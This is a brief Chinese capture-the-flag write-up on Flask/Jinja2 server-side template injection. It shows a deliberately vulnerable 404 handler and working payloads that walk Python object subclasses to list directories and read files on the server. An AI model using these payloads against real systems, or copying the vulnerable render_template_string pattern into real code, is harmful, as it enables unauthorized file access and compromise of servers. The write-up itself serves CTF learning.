XCTF-web_python_template_injection


web_python_template_injection

這里涉及到flask的ssti漏洞(服務端模板注入)。

簡單點說就是,在使用flask/jinja2的模板渲染函數render_template_string的同時,使用%s來替換字符串的時候,會把字符串中被{{}}包圍內容當作變量解析。

例如:

@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
    <div class="center-content error">
    <h1>%s Not Found!</h1>
    </div>

    ''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()

請求:xxxxxxx.xxx/{{ 10*10 }}

響應:xxxxxx.xxx/{{100}} Not Found!

具體原理可以看看這篇介紹這篇介紹,里面講的比較清楚

這道題只用了下邊倆方法:

  • 查看文件(ls)

    {{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}這里的./是路徑

  • 文件讀取:

{{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}這里的filename是文件名

貼一個師傅的使用方法總結

立個flag,這段學習期過了,回頭來總結一下ssti的利用方法

flag兌現,ssti簡單總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM